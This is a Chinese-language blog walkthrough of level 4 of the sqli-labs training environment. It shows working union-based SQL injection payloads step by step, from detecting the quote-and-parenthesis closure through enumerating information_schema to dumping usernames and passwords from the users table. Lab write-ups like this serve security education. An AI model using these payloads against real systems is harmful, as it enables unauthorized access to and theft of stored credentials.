sqli-labs Less-4
2020-04-03 本文已影响0人
LonelySong
本系列文章使用的靶场环境为sqli-labs
环境下载地址:https://github.com/Audi-1/sqli-labs
持续跟新,一直到通过此靶场为止
1.判断注入类型
index.php?id=1"
单引号回显正常,双引号会报错
然后根据报错,我们可以得知这个sql注入页面的使用双引号和括号进行闭合。
2.猜字段数
index.php?id=1") order by 4 --+
index.php?id=1") order by 3 --+
order by 4时报错,order by 3时显示正常,说明当前数据库当前表存在3个字段。
3.使用联合查询查看页面的显示位
index.php?id=-1") union select 1,2,3 --+
这里需要注意的是id的值需要是一个数据库中不存在的值,因为只有这样,页面才会显示我们后面联合查询的数据。我们可以看到2,3被显示在了页面上。
4.爆出数据库版本和当前数据库名
index.php?id=-1") union select 1,database(),version() --+
5.爆出所有数据库
index.php?id=-1") union select 1,group_concat(schema_name),3 from information_schema.schemata --+
6.爆出当前数据库所有表
index.php?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+
7.查询当前数据库users表所有字段
index.php?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+
8.爆破数据
index.php?id=-1") union select 1,group_concat(username),group_concat(password) from users --+